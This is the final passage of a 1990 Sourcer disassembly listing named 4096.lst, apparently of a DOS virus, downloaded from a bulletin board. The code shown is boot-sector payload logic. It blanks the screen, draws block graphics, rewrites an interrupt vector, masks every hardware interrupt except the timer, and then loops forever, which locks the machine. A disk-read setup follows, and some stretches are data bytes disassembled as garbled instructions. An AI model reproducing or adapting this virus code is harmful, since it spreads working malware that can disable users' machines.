  1593. 72F2:0FC1  00 7C EB 4F DB DB            db    0, 7Ch, 0EBh, 4Fh, 0DBh, 0DBh
  1594.      4096.lst         Hello, world!$             Sourcer Listing v1.88    14-Sep-90   6:58 pm   Page 28
  1595.  
  1596. 72F2:0FC7  DB 20 F9 E0 E3 C3            db    0DBh, 20h, 0F9h, 0E0h, 0E3h, 0C3h
  1597. 72F2:0FCD  80 81 11 12 24 40            db    80h, 81h, 11h, 12h, 24h, 40h
  1598. 72F2:0FD3  81 11 12 24 40 F1            db    81h, 11h, 12h, 24h, 40h, 0F1h
  1599. 72F2:0FD9  F1 12 24 40 81 21            db    0F1h, 12h, 24h, 40h, 81h, 21h
  1600. 72F2:0FDF  12 24 40 81 10 E3            db    12h, 24h, 40h, 81h, 10h, 0E3h
  1601. 72F2:0FE5  C3 80 00 00                db    0C3h, 80h, 0, 0
  1602. 72F2:0FE9  0008[00]                db    8 dup (0)
  1603. 72F2:0FF1  82 44 F8 70 C0 82            db    82h, 44h, 0F8h, 70h, 0C0h, 82h
  1604. 72F2:0FF7  44 80 88 C0 82 44            db    44h, 80h, 88h, 0C0h, 82h, 44h
  1605. 72F2:0FFD  80 80 C0 82 44 F0            db    80h, 80h, 0C0h, 82h, 44h, 0F0h
  1606. 72F2:1003  70 C0 82 28 80 08            db    70h, 0C0h, 82h, 28h, 80h, 8
  1607. 72F2:1009  C0 82 28 80 88 00            db    0C0h, 82h, 28h, 80h, 88h, 0
  1608. 72F2:100F  F2 10 F8 70 C0 0E            db    0F2h, 10h, 0F8h, 70h, 0C0h, 0Eh
  1609. 72F2:1015  1F BA 00 B0 B4 0F            db    1Fh, 0BAh, 0, 0B0h, 0B4h, 0Fh
  1610. 72F2:101B  CD 10 3C 07 74 03            db    0CDh, 10h, 3Ch, 7, 74h, 3
  1611. 72F2:1021  BA 00 B8                db    0BAh, 0, 0B8h
  1612. 72F2:1024            loc_68:
  1613. 72F2:1024  8E C2                mov    es,dx
  1614. 72F2:1026  FC                    cld                ; Clear direction
  1615. 72F2:1027  33 FF                xor    di,di            ; Zero register
  1616. 72F2:1029  B9 07D0                mov    cx,7D0h
  1617. 72F2:102C  B8 0720                mov    ax,720h
  1618. 72F2:102F  F3/AB                rep    stosw            ; Rep while cx>0 Store ax to es:[di]
  1619. 72F2:1031  BE 7C0E                mov    si,7C0Eh
  1620. 72F2:1034  BB 02AE                mov    bx,2AEh
  1621. 72F2:1037            loc_69:                        ;  xref 72F2:1059
  1622. 72F2:1037  BD 0005                mov    bp,5
  1623. 72F2:103A  8B FB                mov    di,bx
  1624. 72F2:103C            loc_70:                        ;  xref 72F2:104F
  1625. 72F2:103C  AC                    lodsb                ; String [si] to al
  1626. 72F2:103D  8A F0                mov    dh,al
  1627. 72F2:103F  B9 0008                mov    cx,8
  1628.   
  1629. 72F2:1042            locloop_71:                    ;  xref 72F2:104C
  1630. 72F2:1042  B8 0720                mov    ax,720h
  1631. 72F2:1045  D1 E2                shl    dx,1            ; Shift w/zeros fill
  1632. 72F2:1047  73 02                jnc    loc_72            ; Jump if carry=0
  1633. 72F2:1049  B0 DB                mov    al,0DBh
  1634. 72F2:104B            loc_72:                        ;  xref 72F2:1047
  1635. 72F2:104B  AB                    stosw                ; Store ax to es:[di]
  1636. 72F2:104C  E2 F4                loop    locloop_71        ; Loop if cx > 0
  1637.   
  1638. 72F2:104E  4D                    dec    bp
  1639. 72F2:104F  75 EB                jnz    loc_70            ; Jump if not zero
  1640. 72F2:1051  81 C3 00A0                add    bx,0A0h
  1641. 72F2:1055  81 FE 7C59                cmp    si,7C59h
  1642. 72F2:1059  72 DC                jb    loc_69            ; Jump if below
  1643. 72F2:105B  B4 01                mov    ah,1
  1644. 72F2:105D  CD 10                int    10h            ; Video display   ah=functn 01h
  1645.                                         ;  set cursor mode in cx
  1646. 72F2:105F  B0 08                mov    al,8
  1647. 72F2:1061  BA 7CB9                mov    dx,7CB9h
  1648. 72F2:1064  E8 0055                call    sub_26            ; (10BC)
  1649. 72F2:1067  B8 07FE                mov    ax,7FEh
  1650. 72F2:106A  E6 21                out    21h,al            ; port 21h, 8259-1 int comands
  1651.                                         ;  al = 0FEh, IRQ0 (timer) only
  1652. 72F2:106C  FB                    sti                ; Enable interrupts
  1653.      4096.lst         Hello, world!$             Sourcer Listing v1.88    14-Sep-90   6:58 pm   Page 29
  1654.  
  1655. 72F2:106D  33 DB                xor    bx,bx            ; Zero register
  1656. 72F2:106F  B9 0001                mov    cx,1
  1657. 72F2:1072            loc_73:                        ;  xref 72F2:1072
  1658. 72F2:1072  EB FE                jmp    short loc_73        ; (1072)
  1659. 72F2:1074  49 75 0B 33 FF 43            db    49h, 75h, 0Bh, 33h, 0FFh, 43h
  1660. 72F2:107A  E8 0A 00 E8 07 00            db    0E8h, 0Ah, 0, 0E8h, 7, 0
  1661. 72F2:1080  B1 04 B0 20 E6 20            db    0B1h, 4, 0B0h, 20h, 0E6h, 20h
  1662. 72F2:1086  CF B9 28 00                db    0CFh, 0B9h, 28h, 0
  1663.   
  1664. 72F2:108A            locloop_74:                    ;  xref 72F2:108F
  1665. 72F2:108A  E8 0026                call    sub_25            ; (10B3)
  1666. 72F2:108D  AB                    stosw                ; Store ax to es:[di]
  1667. 72F2:108E  AB                    stosw                ; Store ax to es:[di]
  1668. 72F2:108F  E2 F9                loop    locloop_74        ; Loop if cx > 0
  1669.   
  1670. 72F2:1091  81 C7 009E                add    di,9Eh
  1671. 72F2:1095  B9 0017                mov    cx,17h
  1672.   
  1673. 72F2:1098            locloop_75:                    ;  xref 72F2:10A0
  1674. 72F2:1098  E8 0018                call    sub_25            ; (10B3)
  1675. 72F2:109B  AB                    stosw                ; Store ax to es:[di]
  1676. 72F2:109C  81 C7 009E                add    di,9Eh
  1677. 72F2:10A0  E2 F6                loop    locloop_75        ; Loop if cx > 0
  1678.   
  1679. 72F2:10A2  FD                    std                ; Set direction flag
  1680. 72F2:10A3  80 36 7CE7 01            xor    byte ptr ds:data_88e,1    ; (72F2:7CE7=0)
  1681. 72F2:10A8  80 36 7CD7 28            xor    byte ptr ds:data_86e,28h    ; (72F2:7CD7=0) '('
  1682. 72F2:10AD  80 36 7CE2 28            xor    byte ptr ds:data_87e,28h    ; (72F2:7CE2=0) '('
  1683. 72F2:10B2  C3                    retn
  1684.   
  1685.                 ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1686.                 ;                   SUBROUTINE
  1687.                 ;
  1688.                 ;         Called from:     72F2:108A, 1098
  1689.                 ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1690.   
  1691.                 sub_25        proc    near
  1692. 72F2:10B3  83 E3 03                and    bx,3
  1693. 72F2:10B6  8A 87 7C0A                mov    al,ds:data_85e[bx]    ; (72F2:7C0A=0)
  1694. 72F2:10BA  43                    inc    bx
  1695. 72F2:10BB  C3                    retn
  1696.                 sub_25        endp
  1697.   
  1698.   
  1699.                 ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1700.                 ;                   SUBROUTINE
  1701.                 ;
  1702.                 ;         Called from:     72F2:01AD, 07D2, 0E66, 0E70, 0E85, 0E96, 0EA0
  1703.                 ;                  0F50, 1064
  1704.                 ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1705.   
  1706.                 sub_26        proc    near
  1707. 72F2:10BC  06                    push    es
  1708. 72F2:10BD  53                    push    bx
  1709. 72F2:10BE  33 DB                xor    bx,bx            ; Zero register
  1710. 72F2:10C0  8E C3                mov    es,bx
  1711. 72F2:10C2  8A D8                mov    bl,al
  1712.      4096.lst         Hello, world!$             Sourcer Listing v1.88    14-Sep-90   6:58 pm   Page 30
  1713.  
  1714. 72F2:10C4  D1 E3                shl    bx,1            ; Shift w/zeros fill
  1715. 72F2:10C6  D1 E3                shl    bx,1            ; Shift w/zeros fill
  1716. 72F2:10C8  26:89 17                mov    es:[bx],dx
  1717. 72F2:10CB  26:8C 5F 02                mov    es:[bx+2],ds
  1718. 72F2:10CF  5B                    pop    bx
  1719. 72F2:10D0  07                    pop    es
  1720. 72F2:10D1  C3                    retn
  1721.                 sub_26        endp
  1722.   
  1723. 72F2:10D2  E8 11 FD B2 80 E8            db    0E8h, 11h, 0FDh, 0B2h, 80h, 0E8h
  1724. 72F2:10D8  08 00 32 D2 E8 03            db    8, 0, 32h, 0D2h, 0E8h, 3
  1725. 72F2:10DE  00 E9 AA FD                db    0, 0E9h, 0AAh, 0FDh
  1726.   
  1727.                 ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1728.                 ;                   SUBROUTINE
  1729.                 ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1730.   
  1731.                 sub_27        proc    near
  1732. 72F2:10E2  B8 0201                mov    ax,201h
  1733. 72F2:10E5  E8 0011                call    sub_28            ; (10F9)
  1734. 72F2:10E8  75 15                jnz    loc_76            ; Jump if not zero
  1735. 72F2:10EA  00 33                add    [bp+di],dh
  1736. 72F2:10EC  1B 70 00                sbb    si,[bx+si+0]
  1737. 72F2:10EF  00 00                add    [bx+si],al
  1738. 72F2:10F1  0F 50 12 7F 14 F8            db    0Fh, 50h, 12h, 7Fh, 14h, 0F8h
  1739. 72F2:10F7  0F E5                db    0Fh, 0E5h
  1740.   
  1741.                 ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1742.                 ;
  1743.                 ;         Called from:     72F2:10E5
  1744.   
  1745.                 sub_28:
  1746. 72F2:10F9  0F 00 11 9A 0E 67            db    0Fh, 0, 11h, 9Ah, 0Eh, 67h
  1747. 72F2:10FF            loc_76:                        ;  xref 72F2:10E8
  1748. 72F2:10FF  0C 70                or    al,70h            ; 'p'
  1749. 72F2:1101  00 33                add    [bp+di],dh
  1750. 72F2:1103  0E                    push    cs
  1751. 72F2:1104  2E:03 99 1114            add    bx,word ptr cs:[1114h][bx+di]    ; (72F2:1114=8D8Eh)
  1752. 72F2:1109  11 EF                adc    di,bp
  1753. 72F2:110B  8E 00                mov    es,[bx+si]
  1754. 72F2:110D  00 11                add    [bx+di],dl
  1755. 72F2:110F  11 50 12                adc    [bx+si+12h],dx
  1756. 72F2:1112  92                    xchg    ax,dx
  1757. 72F2:1113  13 8E 118D                adc    cx,ss:data_24e[bp]    ; (72F2:118D=0)
  1758.                 sub_27        endp
  1759.   
  1760.   
  1761.                 seg_a        ends
  1762.   
  1763.   
  1764.   
  1765.                         end    start
  1766.      4096.lst         Hello, world!$             Sourcer Listing v1.88    14-Sep-90   6:58 pm   Page 31
  1767.  
  1768.   
  1769.                 ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ CROSS REFERENCE - KEY ENTRY POINTS ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
  1770.   
  1771.                     seg:off    type       label
  1772.                    ---- ----   ----   ---------------
  1773.                    72F2:0100   far    start
  1774.   
  1775.  
  1776. Downloaded From P-80 International Information Systems 304-744-2253
  1777.